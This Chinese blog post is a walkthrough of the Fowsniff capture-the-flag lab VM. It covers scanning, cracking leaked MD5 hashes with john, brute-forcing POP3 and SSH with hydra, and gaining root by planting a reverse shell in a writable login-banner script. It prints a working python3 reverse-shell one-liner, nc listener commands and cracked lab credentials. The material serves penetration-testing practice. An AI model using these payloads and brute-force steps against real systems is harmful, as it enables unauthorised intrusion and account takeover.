🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
前言
一、信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
nikto漏洞扫描
nmap漏洞扫描
二、渗透测试+信息收集
1、web渗透
2、目录扫描
3、信息收集
4、pop3渗透测试
三、提权
1、信息收集
2、反弹shell
3、flag
前言
靶机精讲之Fowsniff靶机,涉及诸多信息收集,比如web信息收集、媒体网站信息收集、工具站信息收集、pop3服务器信息收集,还涉及john和hydra密码暴力破解,crackmapexec密码碰撞,ssh的banner脚本提权等,可以到vulnhub下载靶机边看视频边实操,是一台构思精巧、全面磨练日常渗透技能的的高仿真靶机,非常值得学习。
一、信息收集
1、主机探测
发现靶机的IP地址是192.168.31.185
┌──(root💀kali)-[~]
└─# arp-scan -l
2、端口扫描
发现开放了22、80、110、143端口,发现110端口开放了pop3服务
pop3 是一种 Internet 邮件访问协议,它允许用户通过客户端应用程序(如电子邮件客户端)从邮件服务器接收电子邮件。Dovecot pop3d 是一个开源的 pop3 服务器软件,用于提供 pop3 访问服务。
┌──(root??kali)-[~]
└─# nmap -sS -A -p- 192.168.31.185
3、漏洞扫描
nikto漏洞扫描
利用nikto漏洞扫描工具,简单地扫描到了一些目录文件,访问发现,对于渗透测试没有什么价值
┌──(root💀kali)-[~]
└─# nikto -h 192.168.31.185
nmap漏洞扫描
nmap扫描发现一些目录,比如robots.txt关键目录可以尝试访问下,还扫描发现了CVE:CVE-2007-6750
漏洞以及sql注入漏洞,我们后面如果还是对靶场没有什么突破,我们到时候就可以回到这里进行验证下。
┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80,110,143 192.168.31.185
漏洞:CVE:CVE-2007-6750
,是用于攻击一些恶意网站,使其恶意网站瘫痪,访问不了的作用,有点像ddos攻击,感兴趣的师傅们可以尝试一下。
二、渗透测试+信息收集
1、web渗透
发现web页面没有找到什么有价值的信息,就是告诉我们这个网站被黑客攻击,然后网站停运了,说什么员工管理员的信息泄露之类的,目前看没有什么有价值的 。
右击查看网页源代码,没有发现什么隐藏的信息
一般可能会存在框架漏洞,但是这里没有发现什么框架漏洞
2、目录扫描
目录扫描发现比之前多了一个/security.txt目录,我们尝试访问下
┌──(root??kali)-[~]
└─# dirb http://192.168.31.185 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -X .php,.txt
http://192.168.31.185
:这是您指定的目标 URL,即要进行目录扫描的网站地址。-w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
:这个参数用来指定字典文件的位置。在这里,您使用了-w
参数并提供了一个字典文件的路径/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
。-X .php,.txt
:这个参数指定了要排除的文件扩展名。在这个命令中,您使用-X
参数并列出了.php
和.txt
,这意味着 Dirb 将会扫描到的 URL 中排除这些特定的文件类型。
/security.txt,
这段文本描述了一个名为 “FOWSNIFF” 的组织(可能虚构),声称他们被 “B1gN1nj4” 攻击并被完全控制(pwned)。看到这里我们想到开始80端口web页面,有一个推特的账号,说什么信息泄露的,我们可以尝试上网找下信息
3、信息收集
利用Google浏览器查找@fowsniffcorp Twitter,第一个就是下面的内容,这个图片很明显是黑客攻击网站成功以后,挂的黑页,我们尝试点击FowSniff - Explained. - Pastebin.com
我们发现下面有passwd密码的信息,所以我们尝试访问下面的.txt文件,查找密码有关的信息
发现很多的账号密码,密码进行了加密,后面我们需要对密码进行解密操作,然后还发现pop3,我们开始端口扫描也发现了这个,很有可能作者就是要让我们pop3进行登录查看信息
把这些内容保存到文档中
mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e
利用hash-identifier,发现是MD5加密的,我们可以利用john进行解密
┌──(root💀kali)-[~/桌面]
└─# hash-identifier "8a28a94a588a95b80163709ab4313aa4"########################################################################## __ __ __ ______ _____ ## /\ \/\ \ /\ \ /\__ _\ /\ _ `\ ## \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ ## \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ ## \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ ## \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ ## \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 ## By Zion3R ## www.Blackploit.com ## Root@Blackploit.com ##########################################################################
--------------------------------------------------Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
用john破解一下,指定字典为rockyou.txt:
┌──(root💀kali)-[~/桌面]
└─# john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash
4、pop3渗透测试
把利用john解密出来的保存到pop3hash文件中
┌──(root💀kali)-[~/桌面]
└─# vim pop3hash ┌──(root💀kali)-[~/桌面]
└─# cat pop3hash
scoobydoo2 (seina@fowsniff)
orlando12 (parede@fowsniff)
apples01 (tegel@fowsniff)
skyler22 (baksteen@fowsniff)
mailcall (mauer@fowsniff)
07011972 (sciana@fowsniff)
carp4ever (mursten@fowsniff)
bilbo101 (mustikka@fowsniff)
将用户信息和密码信息分别保存:
┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}' 1 ⨯ 1 ⚙
scoobydoo2
orlando12
apples01
skyler22
mailcall
07011972
carp4ever
bilbo101┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}' > pop3pwd 1 ⚙┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' 1 ⚙
(seina
(parede
(tegel
(baksteen
(mauer
(sciana
(mursten
(mustikka┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}' 1 ⚙
seina
parede
tegel
baksteen
mauer
sciana
mursten
mustikka┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}' > pop3usrs 1 ⚙┌──(root💀kali)-[~/桌面]
└─# ls 1 ⚙
CTF Docker hash pop3hash pop3usrs pop3pwd
如今我们已经有了pop3登录的账号和密码了,我们就可以利用hydra九头蛇进行爆破了
发现账号是seina 密码是scoobydoo2
┌──(root💀kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 pop3
发现pop3登录成功了:
┌──(root💀kali)-[~/桌面]
└─# telnet 192.168.31.185 110 255 ⨯
Trying 192.168.31.185...
Connected to 192.168.31.185.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
user seina
+OK
pass scoobydoo2
+OK Logged in.
获取邮件数量和大小:
stat // 获取邮件数量和总大小
list // 列出所有邮件的编号和大小
retr <邮件编号> // 检索指定邮件内容
top <邮件编号> <行数> // 检索指定邮件的前几行内容
查看第一个邮件内容,发现stone用户邮件里面有ssh临时登录的密码
list
+OK 2 messages:
1 1622
2 1280
.
retr 1
这是一封来自 “stone@fowsniff” 的邮件,以下是邮件中的一些重要信息:
- 发件人(From): stone@fowsniff
- 收件人(To): baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff, mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff, tegel@fowsniff
- 主题(Subject): URGENT! Security EVENT!
- 日期(Date): Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
- 正文内容:邮件提醒公司内部系统遭到恶意攻击,攻击者利用 SQL 数据库中错误过滤的转义字符来访问登录凭据。为了重新建设系统安全,暂时转移到仅具有最小功能的临时服务器,但只能通过 SSH 访问该服务器。SSH 的临时密码为 “S1ck3nBluff+secureshell”,并强调需要尽快更改密码。
查看第二封邮件
这是一封来自 “baksteen@fowsniff” 的邮件,以下是邮件中的一些重要信息:
- 发件人(From): baksteen@fowsniff
- 收件人(To):seina@fowsniff
- 主题(Subject):You missed out!
- 日期(Date):Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
- 正文内容:邮件内容提到关于 AJ 的一次会议中发生了一些有趣的事情,AJ 被大家批评了一番。提到 AJ 曾在海军服役,并且一直用粗俗的语言表达自己的情绪。邮件内容还提到发件人开始感到不舒服了,可能也染上了 Devin 带回来的肺炎,希望 Devin 能迅速康复,并提醒 Devin 更改邮箱密码。
我们可以尝试利用hydra九头蛇,利用刚才找到的临时ssh密码去进行与pop3usrs文件里面的账号进行爆破,尝试登录ssh,因为刚才两封邮件里面的账户都是pop3usrs里面的账户
[22][ssh] host: 192.168.31.185 login: baksteen password: S1ck3nBluff+secureshell
┌──(root💀kali)-[~/桌面]
└─# vim pop3pwd 255 ⨯ 2 ⚙┌──(root💀kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 ssh
ssh登录成功
┌──(root💀kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185 2 ⚙
The authenticity of host '192.168.31.185 (192.168.31.185)' can't be established.
ECDSA key fingerprint is SHA256:5i4lzzyTeroRL7skmPatRi24vG1+59KMgqHGLyxre9Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.185' (ECDSA) to the list of known hosts.
baksteen@192.168.31.185's password: _____ _ __ __ :sdddddddddddddddy+ | ___|____ _____ _ __ (_)/ _|/ _| :yNMMMMMMMMMMMMMNmhsso | |_ / _ \ \ /\ / / __| '_ \| | |_| |_
.sdmmmmmNmmmmmmmNdyssssso | _| (_) \ V V /\__ \ | | | | _| _|
-: y. dssssssso |_| \___/ \_/\_/ |___/_| |_|_|_| |_|
-: y. dssssssso ____
-: y. dssssssso / ___|___ _ __ _ __
-: y. dssssssso | | / _ \| '__| '_ \
-: o. dssssssso | |__| (_) | | | |_) | _
-: o. yssssssso \____\___/|_| | .__/ (_)
-: .+mdddddddmyyyyyhy: |_|
-: -odMMMMMMMMMMmhhdy/.
.ohdddddddddddddho: Delivering Solutions**** Welcome to the Fowsniff Corporate Server! **** ---------- NOTICE: ----------* Due to the recent security breach, we are running on a very minimal system.* Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff:~$
三、提权
1、信息收集
sudo提权和crontab自动化任务都没有什么提权的点
baksteen@fowsniff:~$ sudo -l
[sudo] password for baksteen:
Sorry, user baksteen may not run sudo on fowsniff.
baksteen@fowsniff:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
baksteen@fowsniff:~$
本来想到家目录查找一下提权的信息,但是都没有权限,没有找到有价值的信息
baksteen@fowsniff:/home$ pwd
/home
baksteen@fowsniff:/home$ ls
baksteen mauer mursten mustikka parede sciana seina stone tegel
baksteen@fowsniff:/home$ cd seina
-bash: cd: seina: Permission denied
baksteen@fowsniff:/home$ cd mauer
-bash: cd: mauer: Permission denied
baksteen@fowsniff:/home$ cd tegel
-bash: cd: tegel: Permission denied
baksteen@fowsniff:/home$
SUID提权,也没有找到能够直接提权的命令
baksteen@fowsniff:/home$ find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/sudo
/usr/bin/chsh
尝试内核提权,也没有成功
baksteen@fowsniff:/home$ uname -a
Linux fowsniff 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
后来是查看大佬的博客,发现是找可写入的文件中,然后尝试反弹shell
我们这里需要注意一个小细节:我们需要先切换到/usr目录下(具有可写入权限)
baksteen@fowsniff:/usr$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
/opt/cube/cube.sh
/home/baksteen/.cache/motd.legal-displayed
/home/baksteen/Maildir/dovecot-uidvalidity
/home/baksteen/Maildir/dovecot.index.log
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff
/home/baksteen/Maildir/dovecot-uidlist
/home/baksteen/.viminfo
/home/baksteen/.bash_history
/home/baksteen/.lesshsQ
/home/baksteen/.bash_logout
/home/baksteen/term.txt
/home/baksteen/.profile
/home/baksteen/.bashrc
baksteen@fowsniff:/usr$
我们这里查看下/opt/cube/cube.sh
文件的权限,发现是可以写入的权限,我们发现这个文件就是我们开始ssh登录进去的页面,所以说这个文件就是当ssh远程登录的时候,我们拿kali监听,可以尝试写入反弹shell的木马进去,然后得到root权限。
baksteen@fowsniff:/usr$ ls -la /opt/cube/cube.sh
-rw-rwxr-- 1 parede users 851 Mar 11 2018 /opt/cube/cube.sh
baksteen@fowsniff:/usr$ cat /opt/cube/cube.sh
printf "_____ _ __ __ :sdddddddddddddddy+ | ___|____ _____ _ __ (_)/ _|/ _| :yNMMMMMMMMMMMMMNmhsso | |_ / _ \ \ /\ / / __| '_ \| | |_| |_
.sdmmmmmNmmmmmmmNdyssssso | _| (_) \ V V /\__ \ | | | | _| _|
-: y. dssssssso |_| \___/ \_/\_/ |___/_| |_|_|_| |_|
-: y. dssssssso ____
-: y. dssssssso / ___|___ _ __ _ __
-: y. dssssssso | | / _ \| '__| '_ \
-: o. dssssssso | |__| (_) | | | |_) | _
-: o. yssssssso \____\___/|_| | .__/ (_)
-: .+mdddddddmyyyyyhy: |_|
-: -odMMMMMMMMMMmhhdy/.
.ohdddddddddddddho: Delivering Solutions\n\n"baksteen@fowsniff:/usr$
2、反弹shell
这里给师傅们推荐一个蛮好用的自动化写反弹shell木马的网站,页面也是蛮好看的一个网站,我这里选择python3进行反弹shell。
Online - Reverse Shell GeneratorOnline Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.https://www.revshells.com/
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.225",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'┌──(root💀kali)-[~/桌面]
└─# nc -lvnp 1234 1 ⚙
listening on [any] 1234 ...┌──(root💀kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185
baksteen@192.168.31.185's password:
3、flag
反弹shell成功,成功拿到root权限
┌──(root💀kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.31.225] from (UNKNOWN) [192.168.31.185] 59410
root@fowsniff:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@fowsniff:/# whoami
whoami
root
root@fowsniff:/# cd /root
cd /root
root@fowsniff:/root# ls -la
ls -la
total 28
drwx------ 4 root root 4096 Mar 9 2018 .
drwxr-xr-x 22 root root 4096 Feb 16 11:17 ..
-rw-r--r-- 1 root root 3117 Mar 9 2018 .bashrc
drwxr-xr-x 2 root root 4096 Mar 9 2018 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 5 root root 4096 Mar 9 2018 Maildir
-rw-r--r-- 1 root root 582 Mar 9 2018 flag.txt
root@fowsniff:/root# cat flag.txt
cat flag.txt___ _ _ _ _ _ / __|___ _ _ __ _ _ _ __ _| |_ _ _| |__ _| |_(_)___ _ _ __| || (__/ _ \ ' \/ _` | '_/ _` | _| || | / _` | _| / _ \ ' \(_-<_|\___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)|___/ (_)|--------------|&&&&&&&&&&&&&&|| R O O T || F L A G ||&&&&&&&&&&&&&&||--------------||||||---Nice work!This CTF was built with love in every byte by @berzerk0 on Twitter.Special thanks to psf, @nbulischeck and the whole Fofao Team.root@fowsniff:/root#